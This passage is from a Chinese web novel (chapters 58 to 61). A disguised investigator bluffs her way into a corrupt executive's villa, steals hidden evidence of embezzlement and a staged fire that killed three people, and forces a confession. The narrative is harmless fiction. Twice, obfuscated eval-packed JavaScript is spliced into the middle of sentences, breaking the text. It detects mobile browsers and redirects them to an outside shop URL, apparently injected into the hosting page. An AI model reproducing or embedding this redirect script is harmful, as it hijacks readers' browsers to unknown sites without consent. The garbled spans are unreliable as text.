一时间,各种奇奇怪怪地联想在他脑子里翻来覆去,想要张口,却不知道该说什么,再瞧着温尔雅那一脸的春风得意,更是气不打一处来,重重地哼了一声: “谁说我的命令可以这么解读啦?祝平安,你把那些投机取巧的心思收起来,现在给我做一百个作品!要是再让我发现有人替你作弊,我就把你的功课再翻个倍!” 说罢,他袖子一甩,气哼哼地走了。 58.艺术与玄学 “祝老师请坐。”柳柔在二楼的小客厅会见了祝平安。她斜倚在沙发上,示意祝平安随便坐。 刑侦处办事还是很牢靠的,高级职称、国际大奖、工作经历样样准备齐全,让祝平安稳稳挤开所有竞争者,争取到了插花教师这个身份,此番只要通过柳柔的面试,就可以签订聘用合同了。 柳柔跟祝平安想象中的小三不一样,她容貌只能说是中人之姿,约莫已有三十四五岁,周身散发着浓浓的女人味。头发只是用一根发钗松松挽起,手上、脖子上别无装饰,身穿一身淡米色针织连衣裙,搭浅灰色羊绒披肩,举止一派优雅,哪里像个小三?走出门外,宛然就是有点品味的中产太太。 当然,这就是祝平安不识货了。那根发钗看似朴素,实则是整块的羊脂美玉雕琢而成,温润剔透,别无杂色,光这一支钗子市值就要个千万左右。 至于那件羊绒披肩,用料是真正的野生羚羊绒,又轻又暖,因近年法律保护野生动物,此类披肩已经不再出产,现在这种披肩都是五六十年前的产品,宛然是半个古董了,多的是人捧着钱都不知道去哪里买,想要有一件,不仅需要财力,更需要关系。 寻常中产要置办这一身衣服,恐怕三五年不吃不喝才能买得起,怎么舍得像是柳柔一样,就当家常衣服看待? 柳柔一挥手,身边的女仆就端着茶杯上前斟茶了:“这是我们太太特调的红茶,请慢用。” 祝平安把茶端起来咂了一口,觉得不像一般红茶那么涩口,还有股花香。柳柔自己也端起茶杯,矜持地抿了一口:“基底是大吉岭红茶,我嫌涩,又自己加了些玫瑰熏了一次,泡茶的水也用鲜荔枝萃过,取个花果甜香,您尝尝合不合口味。” 祝平安哪里喝的出来那么多讲究,正想再尝一口,猛地想起嘴上有口红,再喝一口说不定就都给冲掉了,连忙又把茶杯放下,紧张地抿抿嘴,暗暗祈祷妆容没花。 她生性不爱粉黛,这么多年一直是素颜长裤,这样子虽然自在轻松,但要装成高级花艺师可就不像了。为了潜入成功,妙妙为她改头换面,重新打造了一个所谓精致女性的形象。 妙妙的手法简直鬼斧神工,现在的祝平安一头妩媚蓬松的长卷发,踩着优雅的半高跟小皮鞋,一袭碎花长裙,画着所谓的裸妆,手腕上叮叮当当挂着六七个细镯子,乍一看跟她生前见过的小网红没有啥区别。 只是这身装束让她浑身僵硬,临出门时张松鹤叮嘱再三要她放松点、柔软点。 她反复在心里念叨两遍“放松、柔软”,这才挤出一个假笑开口:“太太确实有品味……这茶是挺好的。” 她自觉得对这些风雅的东西一窍不通,生怕被拆穿并非什么“花艺师”,所幸柳柔也不在意。 祝平安身为一个有几分姿色的青年女子,若真的谈吐有物、品味超群,柳柔反而会有些隐隐的嫉妒不悦,现在祝平安这无知的样子让她找到了一种优越感,连脸上的笑容都真切多了: “哎呀,我闲着也是闲着,就想有点爱好打发时间而已,这女人呐,还是要提升自己的内涵,必须得有品味、有事业,光靠年轻漂亮可抓不住男人心……” 祝平安硬着头皮听柳柔大谈“如何抓住男人心”,不时附和两句,半晌过后,柳柔这才切入正题:“……插花在家里摆着,也能调节氛围,陶冶情操。祝老师,您要是有空,不妨插一个作品给我看看,该有的,我这里都有,也让我瞧瞧您的风格适不适合我。” 祝平安巴不得她这一句,立刻随着柳柔起身来到了所谓的插花室,同理,这别墅里还有瑜伽室、钢琴师、茶室……柳柔一边走,一边向她介绍房间功能,祝平安把她的话暗暗记在心里。走到插花室,仆人已经把插花材料都准备好了,祝平安草草扫了一眼,心下大定。 得知她明天去面试,温尔雅特意选了一些市面上最常用的花材,精心完成一幅作品,教祝平安原样复刻。祝平安不会创作,抄袭还是能做到的,故而她对今天的面试也颇具信心,三下五除二,便把温尔雅的作品复制粘贴了出来。 果然,柳柔满意地点点头:“果然不愧是花艺大师,有种返璞归真的境界。” 她倒也挺痛快,当下就跟祝平安签了合同,约定是一周三次课,上课时间是周一周三周五的下午2点,周薪一百五十万,比祝平安一个月的薪水还高,搞得她有那么一个瞬间,真有点想跟小三同流合污了…… 合同签好,柳柔也在上面盖了章,仆人便捧着合同出去了。 祝平安连忙起身,借口要去洗洗手,跟着出了门,只见那个仆人带着合同走过了拐角,祝平安暗暗回想房间的分布,那边能够存放合同票据的房间,大概是书房吧……这么说,如果能找到薛良贪污的账本,只怕也在那里。 她得到了重要信息,假意洗洗手,又回到了插画室想和柳柔告辞。柳柔却已经穿上了插花围裙,听说她要走,笑道:“既然来了,正好我也有空,咱们就上一节课好了,否则其他的花材不是都白买了么。” 祝平安的冷汗当时就下来了,温尔雅可只准备了一个作业给她抄啊!她勉强笑道:“实现不知道今天就要开始上课,我都没做好准备……” 柳柔没想到会被她拒绝,有些吃惊:“还要准备什么?我都已经准备好了。” “额……那个时间上……”祝平安还在绞尽脑汁编借口。 “祝老师,你不好这样的啦,今天就是周三,合同已经定好,周一周三周五你需要上课。”柳柔的脸色有些不悦了。 祝平安也看得出来,这个柳柔就算再怎么努力装出恬淡娴雅的气质,本质上还是个阴晴不定小肚鸡肠的女人,很有几分任性。自己要是一而再再而三的拒绝她,说不定刚上岗就被炒鱿鱼了…… 祝平安骑虎难下,只能硬着头皮点了点头:“那咱们就开始吧。” “祝老师,你确定是这样吗?”半小时过去,柳柔瞧着眼前的“插花”,不禁怀疑的问道。 粗陶大花瓶里,七零八落插着五六朵红玫瑰,七八枝蓝雏菊,个个光秃秃直挺挺的,既没有高低错落的造型美,又没有蜿蜒曲折的线条美,简直像是在花瓶里插了一把炸油条的长筷子。深红配浅蓝的辣眼颜色,让祝平安自己看了都忍不住一抖。 “没问题啊。”祝平安脸上保持镇定,内心则疯狂在想着温尔雅插花时候是怎么做的,可恶,温尔雅明明说撞色搭配是非常高级的,怎么到她手里就满不是这么回事呢? 瞧着柳柔的眼神逐渐从怀疑转为更深的怀疑,祝平安也是人急生智,在柳柔再次开口质问之前,她脸色一肃,冷然道:“太太,请你不要怀疑我的专业程度,这种风格也许你在市面上没有见过,但这可是被知名艺术大师布丝??贞德夸赞过的新风尚!” “布丝??贞德?”柳柔一脸茫然,明显不认识这个人。 “不是吧?布丝??贞德的名字您都不知道?”祝平安的嘴角微微一撇,做出一个想要嘲笑又不敢的表情: “她可是法国当代的知名艺术大师,名门世家出身,是法国圣女贞德的直系后人。她的艺术风格热烈大胆,前卫新颖,充满了对权威的反叛式结构,被称为是21世纪法国先锋艺术的领军人物 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见她说的有鼻子有眼,柳柔也信以为真,但她虽然认可了这是“大师风尚”,还是忍不住道:“也许我们可以学习一些其他大师的风格?这种风格……这种风格好像更偏向于艺术展览,不适合在家庭内出现,你懂我意思吧?” “这您就有所不知了。”祝平安见她好糊弄,胆气越壮,瞎话也越编越顺溜。 她还住在琢玉学院宿舍的时候,叶霆霓也谈过一些在街头算命师哄住顾客的技巧,祝平安现在便不客气地照搬出来:“家是一个人待得最久的空间,房子的磁场与人的灵性是息息相关的,要不然怎么会有风水这一说呢?” 柳柔果然也是风水的信徒,频频点头,祝平安便接着说下去:“摆在自己房子里的物件,不能只为了好看,也要讲究功能性。在什么地方摆什么花,都是很有讲究的!摆的好,让您生活顺意,夫妻和睦;摆的不好,一家人四分五裂,劳燕分飞,这些例子都不是没有过!” “真的?”一番掺杂着风水、玄学跟身心灵理论的瞎话说下来,柳柔果然上钩了,“您详细说说?” 祝平安示意她看自己手上那惨不忍睹的花:“雏菊和玫瑰,都是代表着爱情的花朵,家里摆着这两种花,可以为帮助主人的爱情运势。” “你再看这花的颜色,蓝色属水,红色属火。二者共处在一个花瓶里,那就是水火既济,阴阳调和,哪怕是水火不容的两个人也能和谐相处,若是原本就恩爱的两个人,自然更是蜜里调油、拆分不开!” “花枝长,代表长长久久;茎无叶,代表毫无二心,情有独钟!”祝平安把半辈子的积累都用上了,小词儿一套一套:“家里摆了这副作品,未婚的很快就会遇到真命天子,像是太太你这种已婚的呢,那就能拴牢丈夫的心,让他只爱你一个人。” 柳柔这种情妇,最关心的还不就是这点事?若是祝平安说什么财源滚滚、事业有成,她都不会在意,唯独一个“夫妻恩爱”,彻底打在了她心坎上,不由得大感兴趣,却也不免疑惑:“你一个花艺师,也懂得这些?” “呵呵,略懂,略懂。”祝平安装起神秘:“我经常出入您家这样的门楣,多少也认识一些玄学大师嘛。现在什么都可以联动,我也想做个新的研究,那就是插花艺术在家居应用中对主人运势产生的影响。” “现在我给你展示的就是我的研究成果,这作品不仅获得了布丝??贞德的肯定,还有大师亲自指点我如何选择花材,可以说是艺术性与功能性兼顾的巅峰之作!” 祝平安慷慨激昂,一边说一边忍不住佩服自己,柳柔满脸信服,已经完全被她这套瞎话迷住了:“不知是哪位大师给的意见?” 祝平安想了想,认真道:“龙虎山张天师。” 59.居然是真爱 不管怎么说,一堂课下来,柳柔已经完全对祝平安俯首帖耳了。她望着那瓶丑得要死的花,询问道:“这花我摆在哪里最合适?要放卧室吗?” “这要看您跟您先生的生辰八字。” 柳柔不疑有他,当下就把自己跟薛良的生日告诉了她。祝平安心想怪不得以前的人要防备尼姑神婆,她当了半小时的风水大师,柳柔就跟竹筒倒豆子一样什么都说了,现在她知道的信息,比妙妙调查到的还详细。 原来这柳柔和薛良相识的经历也可以写本小说了,三年前,柳柔癌症身亡,在地府找了个地产公司的销售工作,不知道怎么就那么巧,上班第一天就遇到了公司高管薛良。 接下来的事情她自己都觉得跟做梦一样,薛良对她展开疯狂追求,送花、送珠宝、送车还不够,又是带去海边兜风,又是举办烟花大会,把这个只有高中学历的妇人弄得晕晕乎乎,即使知道薛良有老婆,又哪里能抵挡的住他的浪漫攻势?加之人死一次,礼义廉耻看的也淡了,不出半个月,便辞了工作,过上了职业小三的生活。 她自知容貌平平,不再年轻,又不聪明能干,只能靠薛良才能过上贵妇生活,可薛良为什么喜欢她,她自己都不知道。因这份心虚,她不免也想要跟其他职业小三看齐,美容美体、钢琴绘画,总要让薛良拿得出手才好。 祝平安越是了解她,就越能拿捏住她的心理,现在不管祝平安说的有多离谱,只要跟薛良对她的感情扯上关系,柳柔就照单全信,祝平安不大肆利用一番都对不起自己。 祝平安装模作样地想了想,便道:“原来这样,您五行属土,先生五行属金,这花恰巧与您的五行相克,对先生倒不妨事。既如此,花就不能摆在主卧了,对您不好。不知道有没有什么房间,是您平常不去的,先生却经常在那里停留?” “那就是书房了!”在祝平安的引导下,柳柔不负众望地说出了这个地点,“我带您过去,您看看具体摆在书房哪里比较合适。” 柳柔带着祝平安来到二楼书房,熟练地按开密码锁进了门,祝平安眼珠子一眨不眨,把密码死死记在心里。门一开,里面的景色让祝平安都愣了一下。 祝平安本以为薛良这样的货色,书房八成也是个装门面的工程,装了满满一柜子没人看的成功学书籍。却不想,四壁居然挂满了国画,那些画设色热烈,笔触细腻,乍一看跟那些名家作品也不差什么。 而画中人都是柳柔,笑着的柳柔,娇嗔的柳柔,穿着裙子的柳柔,睡着的柳柔……无疑都是薛良画的。作画的人明显对柳柔的感情不一般,画中女子巧笑倩兮,清新可人,比柳柔真人更美百倍。 “都是我先生画的,他从第一天见到我就开始画了,他可宝贝这些了,都不让人碰。”柳柔不好意思地笑着,祝平安一时咋舌,心道中年人恋爱就像老房子着火,本以为柳柔是小三,可看薛良这架势,人家这是真爱啊。 她假借看方位把书房四处巡视了一遍,重点查看了一下书桌,书桌上有一副未完成的柳柔肖像,肖像旁满是颜料碟子。她又往侧面一看,果然见到自己刚刚签的合同就放在侧面小书架上,旁边还放着一些票据、凭条之类的东西,看来家里所有的文件都放在书房。 “祝老师,你决定放在哪里了吗?”柳柔又在招呼她了。当着柳柔的面,她不能去翻找账簿,只得一边慢吞吞地左看右看,拖延时间,一边想办法。 正当这时,一声电铃响打破了屋子的宁静。柳柔惊呼一声,往窗外一看:“是我先生回来了!” 她立刻开始往外赶祝平安了:“祝老师,花儿先放桌上,您请回吧。我先生不怎么喜欢别人进书房的,您明天再来,我们到时候再看。” 啥? 早不来晚不来,薛良怎么偏挑这个时候回来?祝平安冷汗都下来了,她跟薛良可是见过面的,这会儿出门去,不恰好撞个正着?她得想想办法,绝不能跟薛良碰面! 眼睛往桌上一扫,她有了主意,立刻装作抱着花没看清路,被椅子拌了一下,整个人无比精确地往颜料碟子里一扎。 颜料立刻被打翻,溅了祝平安一身一脸花花绿绿,活像是人体彩绘艺术,再配上她的长卷发和花裙子,这下子别说薛良,就是里奥来了也认不出来她了。 “哎呦!这可怎么好!”柳柔急的跺脚,“我先生马上就要上来了……” “不妨事,你先去迎接你先生吧。”祝平安看似在擦脸,实际上是把脸上的颜料抹的更均匀,“我先躲到隔壁的卫生间去洗洗脸,这个样子我也走不成啊。” 也只好这样了,柳柔把卫生间指给祝平安,一溜烟地往楼下跑去。祝平安站在卫生间,伸着脖子细听,只听见一阵笑声,薛良似乎心情不错,说要带柳柔出去吃饭,催着柳柔换衣服。 好机会! 既然是出门吃饭,想必不会到书房来,而主人在家,仆人们无事也不会进书房,祝平安立刻决定:趁这一小会儿的空档,一探书房! 她探出头,看二楼走廊无人,脱掉小高跟拎在手里,飞速地按下密码开了书房门。一进去就直奔那个装着文件的书架,快而轻地翻找起来。 楼下,柳柔在薛良督促下换衣服,想起祝平安那一身花花绿绿,顺便打算也找一套衣服给祝平安换上,只是她自己的衣服都是名牌货,要借给人穿,又有些膈应。 她便扬声叫袁管家:“袁管家,我要跟先生出去吃饭,你找一套衣服给二楼卫生间送去,祝老师正在里面洗脸。不要用仆人的衣服,祝老师很有水平,不能怠慢人家。等她换好衣服,你就打发她回去好了。” 薛良站在门口,抱着肩膀含笑看着柳柔:“祝老师,谁呀?” “我的插花老师。”柳柔穿的是一件优雅的黑色小礼服,正往自己的脖子上戴项链,见他来了,一偏头示意他来给自己戴上,“人家很有水平的,学贯中西,得过国际大奖,还被一个法国艺术大师……叫布什么的夸奖过。” 话音未落,只听咚地一声,薛良仰头疑惑道:“什么声音?” 这是物业费收据、这是水电费发票、这是订货清单……祝平安翻找一通,只找到一些完全无关紧要的东西,不由得暗暗唾骂自己把事情想的太简单了。 薛良又不是傻子,如果真的是有问题的票据,他怎会这么大咧咧地放在明面上?只怕这一会儿根本找不到什么东西! 祝平安在书房疯狂翻找,书桌上的抽屉她统统拉开了一遍,里面装的都是些毫无用处的玩意,她这会儿越来越急,不小心碰倒了一个摆件,吓得一口气断在嗓子眼,差点接不上来。 “祝老师不是在楼上么,八成是她弄倒了脏衣篮吧,我就说脏衣篮不要放在卫生间。”柳柔对镜涂口红,“别操心这些了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876676|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,交给袁管家就好。” 祝平安屏息静听,确定没人上楼,这才长出口气,两眼一黑差点没晕倒。这下她再也不敢乱翻,把歪掉的假发扶正,她强迫自己冷静下来:如果她是薛良,有隐秘的票据,他会藏在哪里? 那应该是一个平常不准人碰的地方,也要足够隐秘安全,即使是小偷来了也不会对它感兴趣……祝平安在书房里转着圈,模仿薛良的心态。 柳柔明显不是什么精明强干的料子,对人对事都不设防,光今天就被她套出了不少话。这样的大事,只怕柳柔根本不知道,而这书房里,到底有什么是柳柔住进来之前就存在的东西呢…… 她的眼睛不由得落在了四壁的画卷上面。 袁管家打开自己的衣柜,找出了一套还没剪吊牌的平价衣服,想了想,又放下,重新找了一身更轻奢的牌子。 这个祝老师,很得柳柔看重,她遇此机会,自然也要做个人情。再说这些衣服都是她以柳柔名义买的,花的不是自己的钱,送起来也不心疼。她把衣服整齐叠好,哼着小曲上楼去了。 找到了! 祝平安把所有的画卷都掀了起来,其中一幅画后面果然有个小小的壁龛,装着密码锁,八成就是这个了!只是……密码是什么呢? 祝平安瞪着眼睛,锁头上有三个光点,显示着她只能输入三次密码。她先试了一下书房门的密码,锁没开。她又试了一下薛良的生日,还是没开。 楼梯一响,有什么人好像在上楼,她急的额头冒汗,破罐子破摔一般,在密码锁上输入了柳柔的生日。 袁管家走上了二楼,哼着歌的她没注意到,哪里传来了锁舌咔哒一响。她敲敲卫生间的门,殷勤问道:“祝老师,您脸洗好了吗?太太说您的衣服也弄脏了,吩咐我拿一套衣服给你换呢!” 门一开,祝老师躬着身子,满脸是水,可脸上的颜料却是一点没洗掉,见了袁管家来送衣服,便露出客气的笑容,顺手接过那套衣服:“谢谢你们太太想着,这衣服不便宜啊,还是全新的?让我多不好意思啊。” “这算什么,您投了太太的缘,以后好处多着呢!”袁管家也笑着客气了一句:“瞧你这身上脏的,快换一换吧!” 袁管家离去,大门关上,祝平安这才重重吐出一口气,脱力地坐在地上,抹了抹满脸的汗水,从脏衣篮里,拽出来一个黑色防水袋。 想不到这个柳柔,居然是薛良的真爱,壁龛的密码,是柳柔的生日…… 就在壁龛打开的同时,袁管家已经走上了楼梯,再没有时间给祝平安细细翻找,她选择了把壁龛里所有的东西都拿走——也就是这个防水袋,随后,她飞速关上壁龛门书房门,总算是赶在袁管家上楼之前,躲回了卫生间里…… 幸好她今天穿了一条长裙,躬下身子,就能挡住双脚,要不然袁管家看到她脚上没穿鞋,必定要起疑心。祝平安呼了口气,刚刚那五分钟堪称她人生最刺激的时刻,现在一回想起来,手脚还有点麻。 现在,袁管家就在门外守着,无论防水袋里是什么东西,她都只有带走一条路。 她深吸口气,把身上的脏裙子脱下来,又穿好衣服鞋子,将防水袋往脏裙子里一包,堂而皇之地抱着这件脏衣服,走出了卫生间。与袁管家道别后,又顶着一张大花脸走下一楼,在薛良的眼皮子底下,大摇大摆地离开了别墅…… 60.阴阳合同 祝平安顶着一脸人体彩绘回来,把大家都吓了一跳。当天晚上温尔雅帮她拼命洗了一夜脸,但仍有些残留颜色洗不掉,整个人变成名副其实的“青面獠牙”了。 而她这次冒险是非常值得的,黑色防水袋打开,里面积累的黑材料简直令人瞠目结舌,薛良挪用公款的证据当然也在其中。 “啊,用情妇的名字注册一个空壳建筑公司,让空壳公司中标桃源雅筑项目,合理合法地拿到资金。”张松鹤翻检着那些文件,时不时地挑出一些关键性证据:“再签个阴阳合同,将桃源雅筑转包给其他公司,自己私下扣留40%的公款……其实也是常见手段。” 祝平安半晌没接上一句话,张松鹤轻轻巧巧一句常见手段,涉及到的资金可是要以万亿来计算的,这样的事情,还有多少? 想到高小姐拼死拼活地加班赶项目,想起会议上愤怒的臭鸡蛋,想起业主们每人身上背着的贷款…… 所有证据,加起来不过一百多张纸,三岁娃儿也拿得起。她却忽然觉得这东西有千斤重,重的她连看一眼都觉得喘不上气。 一进一出,40%的公款,他可以拿去住豪宅、养情妇、买珠宝,为真爱办个烟花晚会,一夜烧掉一套房子也毫不心疼。 而那些钱,都是升斗小民胼手胝足、起早贪黑、一分一毛地赚出来的,为了赚钱,不知道要赔多少笑脸,熬多少大夜,接多少工作、掉多少头发…… 这哪是钱?这是人的心血和精气,是大家伙儿的命! “上次没做安保工作真是太好了。”祝平安突然没头没脑地说了一句话。 “要是业主们拿来的真是刀子,那也不错。” 张松鹤放下证据看着她,她这话无疑是过分的,按理说,他应该喝止她。 但是,他心里涌起的却是一阵快意,一阵欣慰,她说的……跟他想的,丝毫都不差。 在她到来之前,组员们纵然也兢兢业业的工作,也对恶人义愤填膺,但他从没有在任何一个人身上,看到过这样深沉的悲哀——以及,斗志。 那是一种世界本不应如此的悲哀,是渴求改变世界的斗志,外头是一团冰,心里却是一团火。 大多数人年轻时,都是这样的一簇火苗,渴望照亮整个世界。当他们真正见识到黑暗有多少之后,他们就开始怀疑自己到底能起多大作用,毕竟自己照不亮所有的角落,而黑暗又是那么源源不绝,难以根治。 于是很快,一簇又一簇的火苗熄灭了,变成了麻木的余烬,也许心里还有着一两星暗红的火,但连照亮自己都难,更别说照亮世界。 但她不一样。 她已经见识了许多世事艰辛之处,但她并未熄灭过一分一毫,她悲哀却不麻木,寒冷却仍坚定…… 百折千回,此心不改。 他应天命而生,肩负执法之责,无论旁人如何,他也必定要燃烧下去,长明不灭。 他一个人亮了三百年,等了三百年,燃烧了三百年,终于在今日,等到了一个共同燃烧的同伴。 祝平安看见,张松鹤笑了。 他深深地凝望祝平安的眼睛,也说了一句没头没脑的话:“给出了那张推荐书,是我的幸运。” 温尔雅不爽地轻咳一声:“不光是阴阳合同,你看,这还有意外收获。桃源雅筑的工地上其实出过一起工伤事件,因脚手架质量不合格,把一个工人摔成了截瘫。工人要告工地,但后来就再没了动静。” “工人现在去了哪里?”祝平安也好奇了。 “死了,全家突然都被销户了。我刚刚去问了户政,是桃源雅筑工地负责人来办的销户,说是他们火灾身亡,因为提供了法医处的证明,所以户政就给办了。”温尔雅递过来一张条子,“恐怕他说的法医处证明,就是这个吧。” 祝平安接过来一看,条子上面写着三个人名,大意是此三人意外死亡,没有苦主,但若是公共安全部来调查,那么就要停工,造成损失,故而请法医处的人行个方便。 “法医处是谁负责?”祝平安问道。 “还能有谁?”张松鹤交叉双手,一字一句道:“徐、副、部、长。” “人命案,他也敢私瞒?”祝平安腾一下站起来了。 张松鹤却摇摇头:“我了解他,太丧良心的事情他不敢干,但给人行个小小方便,他是会做的。薛良必定是给了他意外死亡的证明,否则这种干系他不敢揽上身。你再找找,必定还有其他的关联证据。” “薛良倒是聪明,办的事情都自己留个底档,将来一旦事发,就能把人都拉下水,自己趁机脱身,若非东西先被我们拿在手上,想要动他难得很。”温尔雅翻着其余账册:“有了,就是这个,消防出具的火情鉴定,三人熟睡时,碳炉翻倒导致起火。还有些账簿我暂时看不懂,不过也都存起来吧。” “碳炉好好的,怎么自己会翻?”张松鹤冷笑一声,“有了这些,也就够了。先去会会薛良,回来再处理徐副部长!” 薛良正在自己的办公室翻看杂志,见祝平安再度登门,连个眼神都欠奉:“没钱。送客。” “送客?今天恐怕你送不走。”张松鹤用眼神吓退一边的秘书,将那份阴阳合同的照片扔到薛良办公桌上:“薛先生,恐怕你今天必须给我们一个解释。” 薛良漫不经心的扫了一眼那张照片,眼睛瞬间就瞪大了。这合同他秘密锁在枫园别墅的书房里,没有第二个人知道,公共安全部的人是怎么拿到的?但他不愧是见过风浪的人,硬是将惊容压了下去:“什么东西,我不认识!” 他死硬到底,祝平安怒极,正想抢白,张松鹤却摇了摇头。 “薛先生,你还没弄清楚状况。”张松鹤一字一句道:“我们手里不止有这一张照片,我们有的是全部——你锁在壁橱里的全部。” 全部两个字一出口,薛良眼中惊恐之色再难压抑。张松鹤冷冷道:“你的选择,并没有你想的那么多。防水袋里有多少资料你最清楚,即使你不配合,我们也可以直接抓人,但如果你合作,我们也会给你一点优待。” 薛良的心理防线正在一步一步崩塌,他哆哆嗦嗦地开口:“什么优待?” “柳柔。”祝平安适时地接口,“我们知道,她并没参与到你的事情里来,但这份阴阳合同的甲方法人,却是柳柔的名字。如果要抓她,我们有很充分的理由……到底抓不抓,就要看你合作的意愿有多强了。” 薛良一屁股倒在办公椅上,说不出话,良久,他忽然咬牙道:“你们这还是为了桃源雅筑的事情吧?抓柳柔?那就去抓好了,她一进去,银行账户就会冻结,根本提不出款!到时候交不了房子,大家一块吃不了兜着走。” 薛良再翻一眼祝平安:“昨天那个插花老师是你吧?你不要以为我不懂法,你手上的东西都是非法潜入获得,取证不合法,根本就不能上法庭!” 就是到了这个地步,薛良居然还能找到一点筹码讨价还价,倒也不愧是商界精英。祝平安一时气结,却知道薛良说的是对的:“你别得意!即使是非法取证,只要补领手续,一样可以转为合法证据!” “那你就抓我吧,先补手续,再等审批、调查、资产冻结加审计查账,只要我不配合,这案子拖个两三年也不是问题,就看你拖不拖的起!” 事态一时间陷入僵局,最终,还是张松鹤打破沉默:“我们拖不起,你也未必就想让柳柔一起下地狱吧?怎么样才能配合拿钱,你开个条件吧。” “侵吞的公款可以还给你们,那钱我虽然花了一些,但也投资了几个小生意,还赚了不少,你们不吃亏。但作为回报,这件事不能再提起。”薛良讨价还价。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881046|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张松鹤想都不想,就拒绝了:“你当我们是傻子?你犯的事情,你自己心里清楚,就算有一堆麻烦,要办你还是能做到的,你想好了再开口。” 薛良被他喝破,转变的倒也快:“查我,抓我,我有心理准备,但不能是因为这件事抓我,我不想把柳柔扯进来。” 他突然很无赖地笑了起来:“你不就是不想放过我吗?这样吧,我告诉你一件事情,我杀过人,三个人。用这个罪名,你一样可以抓我,反正杀人跟侵吞公款一样是要下十八层地狱,对你来说没分别,但我可以把柳柔摘出去,我老婆也不会知道她的存在。你同意的话,我们定个魂誓,我现在就可以做口供,下午就去户头提款,你觉得怎么样?” 魂誓是以双方灵魂为证的誓约,如果有人违背誓言,灵魂将会受到重创,不死也去半条命,跟人间那种随便发着玩的誓不是一种东西。 祝平安不禁道:“你倒是对柳柔情深义重啊?” 薛良的眼神柔和了一下:“你不懂,为了她平安快乐,我什么都愿意做。” 张松鹤冷着脸看向他,拳头捏的死紧。半晌后,他终于松口:“……结魂誓吧。” 祝平安在一边看着,更是心绪复杂。原则上她不接受跟犯罪分子讨价还价,也不想欺瞒薛良的老婆,但薛良说的没错,若现在走官方流程,桃源雅筑的修缮工作短期内更是没指望了,连她自己和张松鹤都难保,好在薛良也不算逃脱了法律制裁,她也睁一眼闭一眼吧。 结了魂誓,薛良倒是平静了很多,他十分配合地把自己做过的事情全部说了一遍,他故意上门送礼,麻痹工人一家,并在吃饭时给他们饮用烈酒,见三人都睡死过去,出门前踢倒了碳炉,伪装过现场后,又请徐副部长行方便……他一边说,祝平安一边做笔录,并督促薛良在口供上签字画押。 一切完毕,薛良便垂着头,默不吭声地随着两人往银行走去。 当天晚上,高小姐被向百灵接到了公共安全部,万柏和祝平安已经在那里等着她了。祝平安笑着递给高小姐一张方案书:“高小姐,恭喜,房屋修复的事情有眉目了。” 高小姐抖着手,几乎不相信这是真的。 她翻开方案一看,上面清晰地写着修缮款项已经到位,现在就在住房管理部的资金监管下。这次的修缮工作,也由住房管理部负责招标,寻找第三方公司来施工。招标过程和资金流向对所有业主公开,大家随时可以查看。 更加令人开心的是,这次修缮不仅是修复漏水和业主们提出的问题,而是要把桃源雅筑彻底建完。人工湖、绿化、道路、外立面都会修复到桃源地产卖房时允诺的样子,只是交房时间就要推迟到三个月之后。 高小姐虽然开心不已,但也有所隐忧:“三个月后交房,我是没什么问题,但有些业主只怕不能接受。不少业主都是在外面租房子呢,大家的合同就签到一个月后,若是推迟交房,他们要再去租房搬家,大家不方便。” “您放心,我们也考虑过这点了。”祝平安笑眯眯,“桃源地产会赔付各位违约金和三个月的安置费,每户大概能够分到三千万左右吧。” 这下高小姐更是喜出望外:“桃源地产怎么突然这么大方了?” “这就不用您操心了,您安安心心回去把我们的话转达给业主,等着住新房子吧!”祝平安把320份方案都交给高小姐:“若是业主们都没有意见,那么周末就来一趟公共安全部,我们把安置协议签了。” 高小姐欢天喜地的走了,她一离开,温尔雅便翩然从旁边走出来,看他的笑容,便知道心情不错。祝平安询问道:“事情办完了?” 温尔雅笑眯眯:“该知道的,都让他知道了。具体要怎么处理他,估计也要开部门大会决定。三人死亡,这够得上一个渎职罪了吧……” 61.花雨 “我玩忽职守,犯了官僚主义错误,堂而皇之地接受别人打招呼、递条子,利用手中权力给人行方便,自以为无事,其实是大错特错……” 一样的摆设,一样的会场,一样的检讨,只是这次,在台上做检讨的换成了徐副部长。 他脸色灰败,一字一句地念着自己的检讨书:“我对死去的三名民众表示深切地悼念和悔恨,你们的死亡,虽然不是我一手造成,但跟我有脱不开的关系。如果我持身正直,起码杀害你们的凶手不会逍遥法外。” 顿了一顿,他眼光扫过祝平安、叶霆霓、魏玄成等人,最终停在了张松鹤身上:“……如此种种,我难辞其咎,不配身为公共安全部的副部长。今天,我申请人事署撤去我公共安全部副部长的职位,接受司法部同僚对我展开调查。我愿意配合上级,将我掌握的情况全部说出来,希望能够尽力挽回我的过失。” 检讨完毕,徐副部长站在台上,垂下头,等着大会宣判。祝平安自己也经过这种难堪时刻,不禁百味杂陈,叹了口气: “哎,说起来他虽讨厌,却不是做恶事的人,怎么就到了今天这步。” “你这就错了。”张松鹤小声道:“猛虎虽大,却只能为祸一方;苍蝇虽小,却能无孔不入。风气不是被一两个恶人败坏的,而是被那些小奸小坏腐蚀的,小小的黑暗集合在一起,大恶人就有了兴风作浪的空间,有些事错了就是错了,他当初既然敢做,现在就要付出代价。” “可他为什么要这么做呢?”祝平安仍有些不解,“他讨厌你,是因为觉得你是靠关系上位,我还以为他最反感人走关系呢……” “平安,你这就是傻了。”温尔雅坐在一边悄悄接话:“他那不是反感别人走关系,是愤恨自己没有关系走,升不上去!” 真相,原来是这样吗? 